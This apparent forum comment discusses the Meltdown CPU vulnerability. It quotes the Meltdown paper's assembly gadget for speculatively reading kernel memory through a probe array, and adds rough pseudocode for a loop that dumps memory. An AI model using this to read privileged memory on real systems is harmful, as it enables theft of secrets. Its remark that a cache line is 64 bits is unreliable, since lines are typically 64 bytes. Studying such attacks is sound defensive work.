Earlier quoted context omitted.
> "read any physical memory" as "read memory in cache" You can force values from any memory to affect the cache in a predictable manner which enables you to read all physical memory. See https://news.ycombinator.com/item?id=16108574 or read the paper yourself https://meltdownattack.com/meltdown.pdf
This is from Google Zero on Meltdown: We believe that this precondition is that the targeted kernel memory is present in the L1D cache. Not only is L1D tiny, but stuff like prefetch doesn't touch it. So how exactly do you force any memory into L1D cache unless, like in all the examples we have seen, the victim program is pretty much accessing it in a busy loop?
Here's the example from the paper.
1: ; rcx = kernel address
2: ; rbx = probe array
3: retry:
4: mov al, byte [rcx] ; Read kernel memory(1 byte) into AL which is the least significant byte of RAX
5: shl rax, 0xc ; Multiply the collected value by 4096
6: jz retry ; Retry in case of zero to reduce noise
7: mov rbx, qword [rbx + rax] ; Access memory based on the value read on line 4
8: ; Note: The read on line 4 is illegal, but the CPU speculatively executes line 5-7 before this triggers a fault.
So in pseudo code the attack is
start = 0xFFEE // No idea if this is a reasonable start location
result = []
offset = 0
page_size = 4096
probe_array = malloc(256 * page_size)
loop {
flush_caches(probe_array)
read_and_prepare_cache(start + offset * 8, probe_array) // The above assembly
result.push(determine_read_value(probe_array))
offset += 1
}
To answer the parents question I believe this only uses a single cache line(64 bits) since it only accesses a single value.
This is my understanding anyway, happy to be corrected